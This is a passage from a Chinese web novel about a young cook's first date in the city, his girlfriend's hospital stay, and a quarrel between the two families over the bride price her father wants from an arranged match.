赵如玉忙摆手:“这怎么行,我们是姐妹,帮忙是应该的,哪还能收你东西,给姐姐帮点忙还要收东西,让我爸妈知道,非得骂死我不可。” “那不让他们知道不就行了,快收着,你跟建波一人一个,以后联系也方便,你现在可是双身子,随身带着这个,等快到预产期的时候,建波要是碰巧不在,你联系他或者联系我们,还有三叔三婶他们也方便。” 赵如月这么一说,赵如玉拒绝起来倒是没有刚才那么干脆了。 她单位里也有人用小灵通,他们本来也想买来着,只是偏偏怀上了。 从怀孕期间到生孩子,要花的钱不少,孩子生出来后,要花的钱更多。 赵如玉想着,家里也有电话,没必要再多花这笔钱,就放弃了买小灵通的想法。 可是固定电话,多少还是不如移动电话方便,堂姐今天送的这两部小灵通,可真是送到了她心坎里。 赵如月看出她态度松动了,又继续加把劲一边劝一边引着他们往外走。 直到快走到店里,看到有客人进来,赵如玉想起堂姐让自己帮忙保密的事,担心人家看她们推来推去的问起来,赶紧把东西收了。 赵如月道:“这才对嘛,我们还要招呼客人,就不多留你们了,我跟你姐夫的电话写在一张纸上,一起放袋子里了,你们回去自己捣鼓一下,添加联系人就行。 建波快带如玉回去休息吧,我看她都有点困了,回去好好睡个午觉。” 方建波:“行,那谢谢姐和姐夫今天的招待,我们先走了,下次你们有空也去我们家吃饭啊!” “好,有空一定去。” 把东西送出去,赵如月可算了了一桩心愿,不然她总惦记。 下午出乎意料地生意还不错,今天准备的东西还有点不够卖,但预备的东西卖完后,赵如月和宁绍明也不打算再加。 一卖完就挂上了休息的牌子。 今天中午的午饭吃得太饱,家里人都不怎么饿。 宁绍明就只做了一些酸甜口的凉拌米粉,再热一热今天中午剩下的菜,打算简单地吃一点就算了。 坐到饭桌前,他总觉得少了点什么。 直到女儿问了一句:“我们钢筋哥怎么还没回来?” 宁绍明才恍然大悟,怪不得觉得少了什么,原来是少了一个人。 平时小春可是家里吃饭的主力之一,他凉拌米粉的时候,也下意识做了他那份。 现在宁时春不在,今天的凉拌米粉肯定会剩下很多。 赵如月看了一眼时间,也说道:“小春不是说大概五点半到六点到家?现在已经快六点半了,不会是遇上什么事情了吧?现在也没个电话能联系到他,早知道的话,该让他把你那部小灵通一起带去才是。” 宁绍明说:“这个哪能预料到,平时能用到的时候太少,我们自己用小灵通都还不习惯,总会下意识忘了还有这个东西。” 正说着,家里电话响了。 宁时秋跑出去接电话,听那边说了几句,他赶紧跑进来转述:“爸爸妈妈,是小春哥的电话,他说在那边有点事,今晚就不回来了,明天再回,然后他就挂电话了。” 宁绍明:“…………这小子,我还以为他在这方面也挺老实来着。” 第107章 事实上,宁时春确实是真的老实。 他这会儿正在医院,照顾躺在病床上脸色苍白的孙佳佳。 虽然医生说她没事,打完吊瓶几好了,只是以后要多注意,经期不能吃冷的、寒凉的东西。 平时最好也要多吃点有营养的好好养养身体,要不以后可能会影响生育。 但孙佳佳突然晕倒,还是把宁时春吓得够呛,担心她真出事。 早上两个人出门的时候还好好的,坐的是第一班车去县城。 这么早去,除了想多点时间可以玩之外,也是想着早上不会到那么多人,不想被镇上的人知道他们是一起出去的。 然而宁时春还记着他三叔教过他,跟姑娘一起出门不能吝啬,别让人家花钱。 他早上第一个上车,给钱的时候直接就把两个人的钱一起给了,还此地无银三百两地特地跟司机解释:“那个女孩子是我同学,我顺便帮同学付了。” 司机笑眯眯地点头,透过后视镜,看到他们俩红着脸坐在靠近的位置,还互相不好意思看对方。 宁时春嘴里说出来的是‘同学’,司机听进耳朵里就自动翻译成了‘对象’。 在车上坐了十几分钟,到点快开车的时候又上来几个人。 宁时春在他三叔店里帮忙后,镇上的人几乎都认识他,看到他也在车上,就跟他打招呼。 因为有认识的人,即使他心里很向往弟弟妹妹们当初给自己描绘的浪漫场景,也不敢轻举妄动。 生怕坐在前面的人一转身就发现端倪。 他们以为自己做得挺好,其实根本不知道,有经验的人一看就能看出他们俩之间冒出的粉红爱心小泡泡。 司机又是个爱唠嗑的,毕竟要开一天的车,不跟人说说话,一天天下来都要抑郁了。 而司机开车遇到的人又多,这趟车跟这个人唠一唠,下一趟车又跟那个人唠一唠,要不了几趟车。 ‘镇上秋夏美食店老板的大侄子有对象了’这件事,很快就传出去了。 这个时候,宁时春还在庆幸,去市里的车上没人认识他们,他终于能拿出MP4,实现一人一个耳机听歌的想法。 他们开开心心地到了市里,两个人都是第一次来,下车后特别拘谨。 看着比镇上和县城都宽阔的马路,那么多来来往往的车和人,道路两边的高楼。 一时间脑子都是懵懵的,也不知道该干什么,又该往哪里去。 好在宁时春来之前特地问过他三叔三婶,还做了记录。 在原地缓了好几分钟后,他悄悄从兜里拿出一个巴掌大的小本子。 上面写的东西很详细,从到了市里在哪里下车,下车后如果先去吃饭,可以坐什么车,去哪里吃,什么店的什么东西比较好吃,进店之后怎么点餐,全写得明明白白。 宁时春其实已经把这些全都记住了,只是刚到从没来过的陌生环境,总觉得拘谨,心里太紧张才想不起来。 这会儿看了一眼小本子,宁时春就全记起来了。 他赶紧把本子收起来,故作淡定地问孙佳佳:“你肚子饿不饿?要不我们先去吃点东西?我知道附近有一家店,东西还挺好吃。” 孙佳佳看他这么轻车熟路的样子,感觉很安心。 但她拒绝了:“我早上吃得太饱了,现在还不饿,你饿的话,我可以陪你去,不过去了别给我点,我是真的还不想吃东西。” 宁时春也不饿,只好又问:“你想看电影吗?不然我们先去看电影?” 他计划着,看完电影就去吃饭,吃饭的时候,借口上厕所跑出去买花,然后跟佳佳表白,要是佳佳同意了,他们就能正式在一起了。 那样接下来去游乐园和动物园的时候,他们就可以一路牵着手。 听说在游乐园有人帮忙拍照,十块钱一张,到时候他们还能找人帮忙拍合照,光是想想宁时春就忍不住激动了一下。 孙佳佳觉得先去看电影也好,有地方坐,于是点头:“可以,我们先去看电影吧。” 到了电影院,他买了电影票还想买点可乐爆米花,但是孙佳佳说她不想喝,让宁时春不用给自己买。 宁时春有些意外,因为以前他在店里给孙佳佳拿吃的,她都不会拒绝,还会夸好吃,说她特别喜欢吃,最大的爱好就是吃美食。 那时候宁时春听到这些话,心里特别美,觉得自己是厨子也很爱美食,她最大的爱好也是吃美食,他们俩能吃到一块去,简直是天生一对。 现在宁时春意外之后,又仔细想了想。 以前她给孙佳佳带的东西,几乎全是在店里拿的,有些是每天没卖完的东西,有些是三叔带着他练习手艺,他做出来的东西,不需要花钱。 想到这里,宁时春觉得自己发现了真相,认为孙佳佳是担心市里东西太贵,想给自己省钱,才说不想喝。 宁时春为此感动得一塌糊涂。 他反而更想给她买了,但孙佳佳还是坚持说自己不用,让他想吃的话,买他自己那一份就行。 宁时春还要劝她,出来玩不用给自己省钱时。 营业员顺势给他们推销了一款可乐:“这种是新出的情侣杯可乐,喝完之后,杯子和吸管洗一洗还能带回家装水喝,两位要不要试一下?” 两个人看了一眼那个杯子,一个大杯子带着两根吸管,一起喝的时候脸肯定要靠得很近。 看到后纯情的两个年轻人这下脸到脖子全红了。 不过宁时春这次没犹豫,直接付钱买了下来:“那、那我们就买这个。” 孙佳佳本来不打算喝,但是宁时春从营业员手里拿到冰可乐后,就直接给她了。 可乐拿到手里,孙佳佳冻得孙佳佳一激灵,原来杯子里的可乐是冰的,稍微晃一晃,还能听到里面哗啦啦的响,应该是冰块。 她妈妈说过,女孩子不能吃冰的东西,要不然来月经特别遭罪。 孙佳佳不知道她这是为了不让自己跟弟弟抢冰镇可乐喝才这么说,还是真的不能喝。 不过不管怎么样,她现在都决定相信一次。 进场后,灯光暗了下来,孙佳佳端起大杯子对着吸管喝了一口。 冰冷的可乐顺着喉咙往下,她甚至可以清晰地感觉到,冰可乐一路到达胃部。 很冷,但确实特别好喝。 喝了几口,孙佳佳的小腹和后腰开始感觉冷,还有点酸酸涨涨的很不舒服,手也是冰冷的。 她觉得应该够了,强撑着笑,把可乐往宁时春那边递,小声说:“你要不要也喝一点?” 电影院里昏暗的灯光,让宁时春看不清旁边孙佳佳的脸,不知道此时她的脸色苍白得几乎没有一丝血色。 他傻笑着就这么低头喝了一口,也没想起要把冷冰冰的杯子接过来。 孙佳佳只好继续拿着。 好不容易熬到两个半小时的电影播放完毕,孙佳佳一站起来就感觉自己头晕眼花,两眼冒星星,眼前跟看到电视上的雪花一样。 其实她骗了宁时春,说自己早上吃得很饱,其实早上根本什么都没吃。 又空腹喝了冰可乐,只喝了几口肚子就开始疼,即使后来不喝了也还是特别疼,只是一直忍着。 坐着的时候还好,但是在久坐后,突然一站起来,还又饿又疼的,站起来后,脚踩在地上就像踩在云上一样飘忽。 接着孙佳佳整个人失去了意识,控制不住地往地上倒。 再次醒来的时候,已经是在医院里,手上还打着点滴,宁时春一脸紧张心疼地守在旁边。 夕阳照在医院病房的窗户上,被帘子挡住。 宁时春看她转头看向窗外,还以为她担心晚上回不去怎么办。 他觉得是自己没照顾好她,一脸抱歉的表情说道:“现在五点多,快六点了,这个点就算马上去坐车,回到县城,也没车回镇上了,都怪我,我应该早点发现你身体不舒服的。” “不怪你,我早就感觉到自己有点不舒服了,却担心第一次出来就这样太扫兴,自己硬撑着没跟你说。”孙佳佳一边说着这些话,一边在心里跟宁时春道歉。 因为她实在想不到别的办法了。 宁时春还是很懊恼。 医生说佳佳营养不良,估计肚子太饿了,导致低血糖,加上刚好来月经还喝了点冰的东西,那几口冰可乐不足以给她提供足够的能量,又太冰,引起了痛经,她才晕倒了。 他觉得自己真不是一个合格的对象。 明明早就知道孙佳佳家里,不会给她吃什么好东西,一路坐车到市里这么久,肯定消化得差不多了。 她为了给自己省钱说不想吃东西,自己还心里美滋滋地信了,竟然真的只买了一杯可乐。 孙佳佳为了转移他的注意力,让他别再把过错往自己身上拦。 就对他说道:“我有点饿了,医生有没有说,我醒来后能不能吃东西?” 宁时春马上把他提前托同病房的家属,帮忙买回来的东西拿出来打开:“医生说你要先吃一点好消化的东西,我给你买了蔬菜肉末粥。” 粥放了一段时间,现在摸起来是温热的,这个天气入口正好。 孙佳佳看了一眼自己还在打点滴的手,小声问:“我现在不方便端着碗吃,你、你可以喂我吗?” 宁时春感觉心脏一下就被什么击中了一样,磕磕巴巴地说:“可、可以,我、我我本来也想,问你这个来着。” 吃完粥,外面天色更暗了,孙佳佳又问他:“我们本来说好今天回去,结果连累你没能及时赶回家,明天你还要去你三叔店里帮忙,赶不回去怎么办啊?” 宁时春有些心虚地说道:“没事,我给三叔打过电话了,他没说什么,让我好好照顾你,等你好了再回去都行。” 孙佳佳听到他的话,稍稍放心了些。 远在镇上的宁绍明在这大热的天,无端端打了个喷嚏,纳闷地嘀咕:“我没感觉要感冒啊,也不知道是不是谁在咒我。” 嘀咕完继续收拾东西,等会儿还要去县城的夜市街摆摊。 现在兜里存款太少,宁绍明又有了当初没建房前的紧迫感,现在带去夜市街的东西比以前多了不少。 但在夜市街的生意也是越来越好了,带去的东西很少有卖不完的时候。 同一个镇子上,隔着两条街的一座用竹篱笆围起来的瓦房小院里。 孙佳佳的妈妈江巧一直在地里干活到这个点才回家。 一进门,就听到婆婆在厨房里骂骂咧咧:“你个死丫头还知道回来!看我不收拾你!” 她手里拿着细细的竹条,冲出来一看,竟然不是孙佳佳。 “怎么是你,佳佳去哪了?那个死丫头,一天没见人影,也不知道跑到哪里逍遥去了,今天是饭也不做,家里的鸡鸭猪也不喂,我回来一看,猪都饿得想从猪圈里跳出来!把我大孙子饿了一天,要不是义杰手里有几个零花钱,今天都要饿死了!” 江巧现在是又饿又累,回来不能马上吃上饭就算了,还要听婆婆说这些颠三倒四的话。 她没好气地说:“我一大早就出门干活,中午没回来过,一直在地里累死累活的,我怎么知道佳佳去了哪里,你中午的时候不是说你回来给义杰做饭?” 说是回家,其实就是躲懒,一回来就不见了踪影,江巧觉得是她自己跑去逍遥了才对。 她婆婆自己说漏嘴,也就心虚了一秒,又嚷嚷起来:“我一大把年纪,给你们当牛做马,我休息一会儿都不行? 老天啊!你让死老头子快来把我一起带走吧,我活着还有什么意思,这当儿媳的想把我一把老骨头榨干才罢休啊!” 一番念唱作打,听的江巧脑子嗡嗡响:“行了!” 她大声打断婆婆的话:“我没说不让你休息,我只是让你别瞎说!” “喊什么!喊什么!”孙佳佳她爸孙海生不知道从哪里回来,嘴里叼着烟,一脸不耐烦的样子,“全挤在这里瞎嚷嚷,饭都做好了?” 孙海生一回来,他妈就不嚎了,默默地抹着泪,一副自己被欺负了样子,跟儿子说自己的委屈。 江巧看着婆婆演戏,心里只想冷笑,板着脸说:“我不知道,别问我!” 说完直接进门把锄头一扔,掀开水缸的盖子,拿起水瓢舀了一瓢水就赶紧往嘴里送。 现在天那么热,带去地里的水根本不够喝一天,也没人给她送水去,江巧只觉得嗓子渴得要冒烟。 喝完水,她往厨房走,想看看有什么做好了,赶紧吃一点先垫垫肚子。 经过孙海生身边,却被孙海生拉住。 江巧甩开他的手:“干什么?有事直接说,我饿得烧心,别耽误我找东西吃。” 孙海生这次被甩开竟然生气,反而咧着嘴笑着又拉住她,往房间里走。 他老娘在后面看着,忍不住撇嘴,小声嘀咕:“还说什么干活累得要死,勾搭男人倒是有力气了,真是不要脸!” 关上门后,孙海生拿出一沓钱:“看看这是什么?” 江巧皱眉:“谁给的?”这一沓钱,看起来得有五六千块。 “还能有谁,我们未来女婿呗!我说让佳佳嫁给他,你还不同意,看看这些!” 江巧说:“这不是佳佳不同意嘛,年纪差得那么大……” 孙海生分了一部分钱塞她手里:“年纪大点怎么了?老人都说,年纪大的才会疼人!你看看这些,抓住这些实实在在的东西不比什么都靠谱?” 江巧捏着钱,犹豫道“也得佳佳自己同意才行。” “她是不知道有钱的好处,先嫁过去,等她嫁过去享受过当富太太的滋味就知道了!” 孙海生看江巧还犹豫,又下了一剂重药:“你不是总担心义杰学习成绩不好,以后找不到好工作吗?有这么个女婿,还怕义杰没人帮衬?以后人家随随便便就能给义杰安排一个工作! 还有你娘家的侄子,等佳佳在那边生了儿子,站稳脚跟后,给你娘家人安排工作还能是什么难事?你娘家侄子眼看着也快三十岁了。 再娶不上媳妇儿,成了老光棍丢人不说,你们老江家也得绝后!你难道就这么眼睁睁看着?” 说完这些孙海生看江巧的神色,直到她心里也愿意了七八分:“等佳佳回来,你劝劝她,我也给她点钱,你带她去买几件鲜亮的衣服,她想买别的也给她买,佳佳会想明白的。” 江巧叹了口气:“那我到时候劝劝她,不过要是她还不同意,我可没别的办法。” 孙海生见她答应了,心里的大石头算是落下了一半,他那女儿虽然在家里干活勤快,但脾气倔,被打被骂都硬撑着不哭不低头。 也就比较听她妈的话,当妈的软和地劝劝才有点用。 孙海生说通了她就先离开了房间,江巧小心把钱藏好后,也出去了。 饭做好了,一家子吃完饭,孙佳佳也还是没回来。 江巧有些担心,正打算去那几个跟孙佳佳玩得好的女孩子家里,问问她们知不知道她去了哪里。 门口就来了一辆小车,这辆小车江巧记得,前几天镇上媒婆带着来过一回。 果然,车门被打开后,那个矮胖的男人从车里出来。 但是跟上一次来的时候不一样,上次这男人满脸堆笑,对江巧和孙海生都特别尊重。 这次却黑着脸,看到江巧还呸了一声,搞得江巧莫名其妙,不是说这男的就看上她家闺女了,非娶不可吗? 今天还给了孙海生那么多钱,怎么突然就这样了? “孙海生你给老子出来!”那男的站在门口,狠狠地往院子上的木门上踹了一脚。 本来就没那么结实的旧木门,竟然被他一脚踹坏了。 这可把出来看怎么回事的孙海生心疼坏了:“你这是要做什么?还想不想娶我家闺女了!?” “你家那跟人私奔的破鞋,谁爱要谁要,反正老子不要,让孙海生出来,把老子的钱还了!” 江巧愤怒地指着他:“你瞎说什么!你这是娶不到姑娘,就想坏人家姑娘名声吗?” “我坏她名声?你自己在镇上问问,还有谁不知道你女儿跟姓宁的小子跑了!” 孙海生和江巧夫妻俩心里一咯噔,孙佳佳之前就跟宁家那小子眉来眼去的,以前她从来不会这么晚不回家,今天这情况,保不齐还真有可能。 孙海生可不想到手还没焐热的钱就这么飞了。 他忙道:“真没那回事,佳佳平时在家里乖巧听话还孝顺,从来不会违逆父母的意思,今天肯定只是去朋友家玩而已。” “去朋友家玩,要一大早跟着男人一起去?”那男人冷笑了一声说,“你说她没跟男人私奔,那好,我再给她一次机会,你现在把她叫出来,让她解释清楚,我就不追究这个事,你现在就叫她出来吧!” 孙海生和江巧现在哪里找得到人。 只好硬着头皮说:“晚点行不行?等晚点佳佳回来,我亲自带着她去你家给你解释清楚!” 孙海生说到后面,甚至已经想着实在不行,大不了让他俩生米煮成熟饭,到时候女儿不想答应也不行! 毕竟不算今天未来女婿给他的六千块钱,就说这未来女婿承诺的六万块钱彩礼,他就坚决不许这婚事黄了! “得了吧!”那个矮胖男人指了指自己身后,“我特地去问了今天开车的司机,不管是开公交车的还是开面包车、摩托车的司机,我全问了一遍,他们全都说今天没载过你女儿回来。 只有一个司机说,早上她坐着他开的公交车去县城了,那姓宁的小子还帮她给车费,人家平白无故凭什么帮她给车费?” 孙海生不想承认,但那时候车上还有好几个乘客,人家也看见了,孙佳佳跟宁时春坐在一起,而孙佳佳现在还没回家是不争的事实。 有人看热闹不嫌事儿大,还说:“我看这好像也没把所有司机都叫来啊。” “对对对,我们镇上还有个女司机郑秀,郑秀怎么没来?” “郑秀这会儿肯定送宁老三一家去县城摆摊了呗。” “哎呀,保不齐你们家佳佳就是坐郑秀的车回来的,也有人给出车费!” 说着好几个人一起哄笑起来,镇上谁不知道郑秀跟宁老三一家关系好? 他们那意思,孙佳佳要是坐郑秀的车回来,出车费的肯定也是宁时春。 孙海生脸色难看地瞪了起哄的几个人一眼,但还不死心,想抢救一下:“能不能等明天……” 那矮胖男人已经不想听了:“明天?你闺女跟男人在外面待一晚上,还想当黄花闺女嫁给我?你在说什么狗屁笑话?给老子还钱!” 其实他说让孙佳佳现在出来解释清楚,自己就不追究也只是说说而已。 从早上到现在过去那么久,孤男寡女一起出去玩,谁知道发生了什么! 孙家的事闹起来时,赵如月一家子已经坐着郑秀的车去县城了。 今天是星期天,赵如月晚上不用上课,也跟着一起去帮忙摆摊。 多了一个大人一起干活,办事效率比以往高不少,两个孩子只需要帮忙收钱找零,一个孩子帮一个大人,两两组合,大人不需要算钱,给客人拿东西打包的速度也更快了。 星期天人也多,还不到九点,东西就卖得差不多了,九点刚过几分钟,东西全部卖光。 正想着要不要在夜市街逛一会儿,等到九点半郑秀来接人,转头就看到郑秀在一家烧烤店买烧烤。 看到他们还有点惊讶:“你们今天这么快都卖完了?” 赵如月道:“是啊,你这是要买回家给家里人吃还是自己吃?” 郑秀说:“买回去给家人吃,我还以为你们要十点左右才能回去,想着先送回去一趟,再来接你们来着,现在你们是跟我一起回去,还是继续逛?” 两个孩子早就在夜市街逛过好多次,觉得没那么新鲜了,就说想回家。 赵如月就对郑秀说:“那就等你的烧烤烤好了,我们跟你一起回去,今天正好能在家多休息一会儿了。” 她想了想,也去买了些水果和几杯现做的甘蔗汁,打算带回去在家看电视的时候吃。 家里小零食不少,夜市街其他摊子上的赵如月就只看了几眼,没有买。 回到家,打算抓紧时间先带着闺女去洗澡,然后再好好享受一下,难得的休闲时间。 刚回房间把换洗的衣服拿出来,就听到门口有人喊了一声:“他们好像回来了!” 然后门口就呼啦啦地来了一大堆人。 宁绍明正收拾摆摊的东西,一个没反应过来,人家已经冲到他面前来了个紧急脚刹。 “孙海生?你有什么事?”宁绍明皱着眉头想,难道孙佳佳跟小春出门,没跟家里人说? 他还以为孙佳佳愿意跟宁时春出去玩,她家里也知道并且同意了他们俩的事。 孙海生本来想着在气势上先压过宁绍明,可他忘了自己比宁绍明矮很多。 站在宁绍明面前也就勉强到他肩膀的位置,体格子长得也不如人家壮。 冲到人家面前,还需要仰着头看,感觉面前简直像是站着一座山,什么气势都没了,才赶紧急刹,稍稍往后退,离宁绍明远了点。 他指着宁绍明说:“你侄子把我闺女拐了!” 宁绍明本来想着这是侄子对象的亲爹,得多尊重人家一些,说话也要多注意点,别给侄子扯扯后腿。 没想到孙海生张嘴就是污蔑。 宁绍明也不是吃素的,他想尊重人家,但人家上来就不讲理,明显不是要好好说话的样子。 这种情况,别说是侄子对象的亲爹,就是他自己儿子对象的亲爹,他也不惯着。 “孙海生,你有病就去治,少他爹的来我这里喷粪!” 第108章 在乡下,一个人可以脾气好,但是不能没脾气。 乡下脾气好的人,人缘好,没脾气的人只会被别人欺负死。 孙海生就是个欺软怕硬的,一看宁绍明态度这么强硬,他的气焰就嚣张不起来了。 他声音降低了点,强撑着说:“你说这话是什么意思?这事你到底管不管!” 宁绍明倒是确实能管,但他凭什么管呢? 两个孩子都成年了,现在又不是旧社会,新社会讲究一个自由恋爱。 真觉得自己闺女是被拐了,应该先去报警找人! “这事跟我有什么关系?小春只是我侄子又不是我儿子,你有什么事找他爸去!” 他看自己儿子也探出脑袋来看,指了指宁时秋:“这才是我儿子,要是这不到十岁的未成年小子把你闺女拐了,我倒是能管管。” 未成年么,监护人还是有权利管的。 宁时秋:“……”这些大人说事就说事,扯自己干嘛! 他气哼哼地把脑袋缩回去了,拉着妹妹回屋:“回去看电视去,大人的事我们别管。” “哦。”宁时夏没搞懂怎么回事,觉得还是水果饮料小零食和电视剧更吸引人,乖乖跟着哥哥回屋了。 宁绍明看到他们俩回去就放心了,等会儿要是吵起来,对方说话再那么不讲究,让孩子听到可不太好。 孙海生被宁绍明那些话气了个仰倒:“宁时春他爸都被抓了,正在牢里蹲着,你让我怎么找?” 他越说越心梗,深恨自己女儿眼瞎,本来好好一个有钱女婿跑了,现在这个没钱就算了,老爹还坐牢! 镇上谁乐意把自己姑娘嫁给有个坐牢老爹的人? 就他女儿傻! 肯定是被那小子的花言巧语骗了! 宁绍明说:“怎么不能找?监狱又不是不能去探监,改天我大嫂和我爸妈去探望我大哥的时候,你可以跟着一起去,有什么话直接跟他们两口子说。” 孙海生被他这话噎了一下,宁绍明这是在提醒他,就算宁时春他爸不在,他妈和爷爷奶奶也在。 这么也轮不到当叔叔的来管这个事。 可那些人都精穷,哪有宁绍明有钱! 六千块钱到手还没捂热就又被要回去了,孙海生想起来都觉得心痛到不行,必须想办法再弄回来。 孙海生想来想去,只能再想到一个更牵强的借口:“但是你宁时春在你店里给你家干活!” 宁绍明都要无语了:“我又不是没给工资,谁家老板还管员工放假时间去哪、跟谁谈对象啊?那不是狗拿耗子多管闲事。” 孙海生:“那你说怎么办吧!现在人找不着了,确实是跟你侄子跑的!” 宁绍明一摊手:“我能有什么办法?找不到人当然只能建议你去报警,让警察帮忙找了。” 他这是真心建议,如果真的担心女儿的安全,想把她找回来,报警是最合适的办法了。 毕竟宁时春那通电话打回来说得不清不楚,很快就挂掉了,宁绍明也没接到电话。 宁时春还是用的公用电话打的,又不说他们具体在哪,发生了什么事。 除了找警察,他还能有什么办法呢? 孙海生找不到借口了,又开始不讲理:“我不管,反正我闺女今晚上不回来,我就待在你家不走了。” 宁绍明按了按拳头,手指关节按得啪啪响:“你待一个试试?” 孙海生脖子一缩,正不知道该怎么办,瞥到自己老娘赶来了,心中一喜。 他是不敢闹得太厉害,毕竟男人打男人可不会手软。 而且男人跟男人打架,只要不出不伤、不残、不出人命,没人会觉得这算什么事。 可换成老太太就不一样了,他宁绍明敢对一个干瘦的老太太动手? 宁绍明也看到了孙海生他老娘和他老婆,正小跑着往这边赶过来。 心说晦气,这老太太他也认识,在镇上公认的难搞,吵起来不讲理,打又打不得。 然而等那老太太和江巧赶到之后,老太太刚一拍大腿正要开腔,就听见另一把大嗓门抢了先。 “就是你们女儿把我儿子勾搭走了?!” 宁绍明一愣,他大嫂怎么来了? 这时赵如月背着人扯了扯他的衣服下摆,两人对视一眼,全明白了。 赵如月在孙海生刚到的时候,就给王海燕打了电话。 跟她说清楚了事情的来龙去脉,让她这个当妈的过来处理。 王海燕一听人都跳起来了,生怕这事把宁绍明和赵如月给惹恼了,他们不让宁时春继续在那里干活学手艺。 她可还等着宁时春学成手艺,以后开店挣大钱呢。 电话一挂,王海燕就赶紧往这边赶,她人刚到就遇上了孙海生的老娘要撒泼。 论撒泼,她王海燕怕过谁?当即先声夺人,指责对方女儿臭不要脸,勾引自己儿子。 孙海生他老娘:“放你XX的狗屁!明明是你儿子拐带我孙女!” 王海燕冲着孙海生老娘的脸:“我呸!” 接着就是机关枪一样,突突突地一通输出:“我儿子用绳子绑着她的腿,把她绑走了?公交车司机和当时坐车的人都说了,她自己上的车,可没人逼她! 我看她就是不想嫁给你们给她找的那个癞蛤蟆,她才故意勾引我儿子,想嫁到我们老宁家! 我儿子多俊啊,人又长得高大,镇上更不知道多少小姑娘喜欢他!你们让你们家姑娘别痴心妄想了,我可不想要你们这种亲家,更不可能让她进我家的门!” 孙海生听到这话就是一激灵,猛然想起自己真正的目的,他来可不是真的来找人的,而是想闹一通,让对方理亏,好趁机多要一点彩礼的。 镇上的人都知道他闺女跟宁家那小子出去,一晚上没回来,他闺女不嫁给他还能嫁给谁? 王海燕一说不许孙佳佳进门,孙海生才急了。 他脑子终于转过弯来,想明白了,这事闹大后,不但对自己家没好处,反而还更利于对方压彩礼。 孙海生懊恼不已,恨不得时间倒流回自己来这里之前。 他应该悄悄来找宁绍明,一通诉苦,没准还比现在这样找事有用。 可是时间没法倒流,现在后悔已经晚了,但还能补救。 他赶紧一把扯住自己正在激动地跟人互相问候对方全家,每句话都带着生殖器官的老娘。 转头斥责江巧:“你怎么把妈带来了,赶紧把她带回家去,闹成这样,像什么样子!” 江巧被他说懵了,不是他来之前在家里商量,他先来闹一闹,要是不成的话,就让她带着妈过去吗? “愣着干什么,还不赶紧把妈带回去!她老人家上了年纪哪能情绪这么激动!” 那老太太觑着儿子的神色,也收了声,不闹了,用手扶着额头说头晕得很。 江巧急忙上前扶着老太太:“妈,我送你回去休息。” 老太太一改刚才战力彪悍的样子,满脸虚弱地捂着脑袋让儿媳扶自己回去。 王海燕还以为他们使诈,想坑一笔医药费,也一屁股坐在地上,喊着胸口疼,可能要去医院看看才行。 孙海生觉得头很大,他用的方法从一开始就错了,现在这情况还怎么谈? 难道真的要去报警? 不行不行,这个念头一出来,孙海生就自己否掉了,他最讨厌的就是去派出所。 宁绍明和赵如月冷眼看着。 刚刚那场闹剧,他们算是局外人,所以看得很清楚。 就是大嫂说了不让孙家闺女进门的话后,孙海生的态度才骤然转变,让他老娘回去了。 看来他的真正目的,不是找回闺女,也不担心闺女安全。 赵如月去把王海燕扶起来,给她使了个眼色:“大嫂,你身体不舒服也先回去休息吧。” 两个当事人都不在,这件事今晚继续闹也闹不出什么结果来,以后且还有的掰扯呢。 王海燕收到赵如月的暗示,顺势就爬来了:“我差点忘了,家里还有一点药,我这病回去吃几颗药就行,不用去医院了。” 赵如月:“你能自己走吧?” “能,我慢慢走回去就行,没事没事,你们不用送了。”王海燕拍了拍裤子上的尘土,转身也走了。 宁绍明看着孙海生:“我们明天还要早起干活,没时间陪你闹,我要关门了,你自己看着办吧。” 孙海生气得牙痒痒,一场热闹虎头蛇尾地结束,但连围观的人都散了,他也只能偃旗息鼓回家睡觉去,等着什么时候孙佳佳回来再想办法。 医院里,孙佳佳打完吊瓶后感觉好多了,宁时春问过医生需要忌口的东西和她能吃的东西后,给她买了很多有营养的东西回来。 孙佳佳吃了一些,现在脸也没那么苍白了,嘴唇也恢复了一些红润。 病房里没有空余的床位,宁时春只能窝在椅子上休息。 熄灯后,孙佳佳一个人躺在床上翻来覆去许久,终于下定决心似的,从毯子下伸出手,握住宁时春搭在椅子上的手。 宁时春坐着睡不着,但是人又困,脑袋一点一点地半睡半醒间,手突然被抓住,吓得差点一叫出声来。 定睛一看,抓住自己的手是孙佳佳的。 他赶忙小声问:“怎么了?你是不是感觉不舒服?要不要我去把医生叫来?” 孙佳佳不说话,只是摇头,然后手微微用力,把宁时春往床上拉。 宁时春被拉到床边,又拉到床上才反应过来。 “我我我、我们这样……” 话没说完,嘴巴又被另一只手捂住了,刚想挣扎一下,怀里却埋进来一个人。 他听到孙佳佳在自己耳边小声说:“你就这么在椅子上坐一晚上多难受啊,我不舍得。” 宁时春从没跟女孩子贴得这么近,一时间一动都不敢动,两个眼睛睁得大大的,盯着天花板,也不知道什么时候才睡着的。 第二天醒来,孙佳佳还在他怀里睡着。 宁时春又是从脸红到脖子根,醒来之后根本不敢动。 直到孙佳佳醒过来,两个人红着脸分开,在床上坐了半晌。 宁时春终于憋出一句:“佳佳,我、我喜欢你,你愿意跟我处对象吗?我会对你负责的。” 他原本还计划了一个自我感觉挺浪漫的告白,结果什么计划都没做成,竟然是在医院跟佳佳表白的。 宁时春有些懊恼。 孙佳佳却激动到落泪,算计了这么多,自己终于等到这句话了。 她不是不想慢慢来,一步一步跟宁时春从同学发展到朋友,再到恋人,最后订婚、结婚。 可是现实让她没那么多时间去一步一步地走了。 宁时春手忙脚乱地给她擦眼泪:“佳佳,你、你别哭,我……对不起,昨晚是我不对,我不应该……” “不是你的问题,是我自己愿意,我拉你上来的,你会不会觉得我是那种不自尊自爱的女孩子?” “当然不会!”宁时春不知道该这么表达自己的心意,想来想去,想出一个,“等你出院,我给你买个戒指,听说现在结婚都流行买戒指。” 宁时春想着,钻石戒指太贵,自己买不起,应该能给佳佳买个金戒指或者银戒指? 她现在身体不舒服,原本计划要去的地方肯定没法去了,本来用来玩的钱,本来就是让她花的,没花出去,给她买个戒指也好。 同时也算是给佳佳的承诺。 孙佳佳完全没想到还有这样的惊喜。 她的身体已经没什么大碍了,就是来月经的第一天会疼得比较厉害,有可能还会疼到晕过去。 第二天虽然还是会有点疼,但影响不大。 等医生来看过后,他们很快办理了出院手续,在外面吃过早饭,宁时春径直带着孙佳佳去百货商场。 商场里有卖金首饰的地方,外面也有金店。 本来逛商场也是计划之一,不过宁时春没想过会买金戒指,他来之前就没问过三叔三婶该怎么买。 孙佳佳也没来过,但她拉着宁时春先不远不近地逛着,偷偷观察别人怎么买。 在那里逛来逛去好几趟,也不管别人怎么看自己。 